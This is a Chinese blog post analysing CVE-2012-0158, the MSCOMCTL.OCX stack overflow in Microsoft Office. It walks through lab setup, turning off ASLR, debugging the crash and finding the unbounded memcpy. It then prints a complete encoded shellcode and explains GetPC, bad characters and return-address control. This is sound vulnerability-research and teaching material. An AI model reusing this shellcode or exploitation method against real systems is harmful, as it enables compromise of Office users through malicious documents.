CVE-2012-0158漏洞分析

CVE-2012-0158漏洞分析

目录

1:背景介绍

2:说在前面的问题

3:具体的分析过程

4:漏洞利用

背景介绍

https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2012-0158
这是一段来自cve上关于此漏洞的相关说明,大致说明了在那些版本上的OFFICE办公软件上通过树控件和列表控件会触发此漏洞,此处为我们验证漏洞提供了配置环境的帮助。

说在前面的问题

  1. 无从下手,由于首次解除办公软件方面的漏洞,在了解这个漏洞之后面临的第一个问题就是如何将软件搞崩溃,之后在吾爱破解上找到了几份案列,至此第一个问题得到解决。
  2. 环境问题,在经过Win7+Office2003,Win7+office2007(Win7关闭ASLR),以及下载 论坛上分享的MSCOMCTL.OCX覆盖自身计算机C:\WINDOWS\SYSTEM32目录中之前的文件未果,最终在尝试WinXp+office2007实验成功,至此第二个问题得到解决。
  3. 如何关闭ASLR(针对有此保护机制的系统)
    1. 在下面的链接中这位老哥已经说了一种方法,需要指正的是并不是将注册表关掉而是创建一个DWORD的值为零,如果开启ASLR的话就是将创建的值删除就行了
      CVE-2012-0158漏洞分析_第1张图片
      CVE-2012-0158漏洞分析_第2张图片
    2. 下载官方的EMET(界面式关闭ASLR,DEP)CVE-2012-0158漏洞分析_第3张图片
    3. 附上EMET下载连接
      EMET下载连接

具体的分析过程

使用工具

  1. OllyDbg-动态调试
  2. IDA-静态观察
  3. 010Editor

查看现场

  1. 使用OD附加WINWORD.EXE
  2. 打开准备好的DOC
  3. 观察崩溃现场
  4. 发现产生异常地址为0x41414141,进一步验证找到的位置是否正确(方法就是将poc拖到010Editor找到地址进行修改)
    CVE-2012-0158漏洞分析_第4张图片

现场分析

  1. 从图中发现崩溃位置函数的栈遭到破坏,其返回地址被淹没,导致不能够正确返回,那我们有理由且可以合理的进行猜测可能是由于函数275C88F4当中存在内存拷贝导致其父函数的栈被破坏,同时还有一个重要的信息就是这个函数可能位于MSCOMCTL.OCX模块中
    CVE-2012-0158漏洞分析_第5张图片

验证猜测

  1. 首先我们在0x275C8B91附近进行下断
  2. 单步跟踪到函数0x275C88F4内部,找到类似内存拷贝的代码,可以看到在地址0x275C8952处进行了大量的内存拷贝(字节数达到了8282byte),在进行单步之后栈空间确实遭到破坏,验证成功。

函数分析

  1. 接下来使用IDA静态查看函数0x275C88F4的具体内容,根据刚才动态调试在函数0x275C8952进行内存拷贝导致栈被破坏,所以这里将光标放到此处然后F5反编译成伪代码,可以看到就是由于memcpy这个函数造成的问题
  2. 关于在OD和IDA中查找函数的简要说明:
    由于系统没有ASLR,所以MSCOMCTL.OCX模块的加载基址就是他的默认加载基址,那么函数地址无论是动态还是静态中的地址都是相同的(在本例中通过使用LoadPe查看镜像基址和在OD中模块的加载基址是相同的)
    如果系统开启了ASLR,那模块的加载基址就不一定是相同的,所以在在IDA中查找函数地址的时候就需要根据 函数的地址 - 所在模块加载基址 + 默认的加载基址才能在IDA中找到对应的位置
    还需要说明的一点是,没有调试符号文件的话函数是没有名字的
  3. 下图表示的是对于函数的分析,很显然是由于没有对于第三个参数的限制才导致栈溢出问题
    CVE-2012-0158漏洞分析_第6张图片

漏洞利用

说明:关于如何写shellcode不在赘述,在吾爱破解那篇帖子老哥已经进行了详细说明,下面我会贴出我的shellcode(也是helloworld的弹窗,仅供参考不适用所有),同时写出我对于shellcode的几点理解。
shellcode:08AC1100000000000000000033C0E8FFFFFFFFC3588D701B33C966B94D018A040E340788040EE2F680340E07FFE684EB67EC59427F6E7357756864627474076C627569626B343529636B6B074062735775686446636375627474074B6866634B6E657566757E427F46074A62747466606245687F460721121F710772746275343529636B6B074F626B6B685068756B6307EF070707075C638C32370707078C710B8C711B8C318C510F5455EF130707078CF78A4CC256558CFDF8D754515750EF6C070707528CEB84EB0B558C753B8A33118C717F8A33118C791B8A3B108E7AFB8C79278A3B3D8E7AFF8C79238A3B3D8E7AF334C7EC06478C72FF8C33818C520F8A33358C5A0B8A7CB1BE09070707FBF4A172E48C72F334F8618C3B418C52FB8C33BD8C520F8A03355D8CE25AC50F07528CEB84EB0F8C5A138A4CE26D076D0756F8520B8A4CD35657F852178E42FB8A4CAE6D076D0756F8520B8A4C9A5657F852178E42FF8A4CF76D0756566D07F852FB6D07F852FF8CE25AC51707
17. 关于GetPc技术是什么?

0x401000  E8  00000000    CALL 0X00401005
0x401005  58              POP EAX
CALL 0X00401005 ==  push 0x401005  +  eip = 0x401005
POP EAX == EAX = 0X00401005 
通过入栈和出栈操作就可以将当前eip的值赋值到EAX中
0x401000 E8 FFFFFFFF CALL 0X401004
0x401005 C3          RETN
0x401006 58          POP EAX
由于CALL到的地址是0x401000 和0x401005 中间的值,编译器会自动将最后一个FF和C3进行重新编译为INC EBX,这样做就是会产生一条多余的指令,同时在某些情况下可能会产生影响
不过相对于第一种的好处就是少了很多的0x00,因为在CPU中0x00,0x20,0x0d,0x0a这几种指令有可能造成CPU的截断导致shellcode不能够正常运行,这也就是为什么需要对ShellCode进行所谓的加密
  1. 为什么需要使用GetPc技术

    从GetPc可以知道此时的EBX以及获取到了eip的值,那么我们就可以很轻松的获取到我们想要的数据的位置,比如获取字符串“user32.dll\0”所在的位置,只需要通过EBX减去n个字节即可,简单来说就是用来获取数据的
  2. 关于为什么需要使用JMP ESP指令(本例中由于没有ASLR所以返回地址我是直接写的SHELLCODE地址,并没有使用JMP ESP)
    CVE-2012-0158漏洞分析_第7张图片
    20.shellcode需要注意函数的调用约定

    注意这个retn 8,这代表执行此条指令会将栈中进行平栈,所以shllcode应该向后延8个字节,使用IDA查看也可以佐证
    CVE-2012-0158漏洞分析_第8张图片
  3. 最后附上成功的图片

    参考:
    吾爱破解
    维先生博客
    15PB信息安全教育

你可能感兴趣的:(漏洞分析)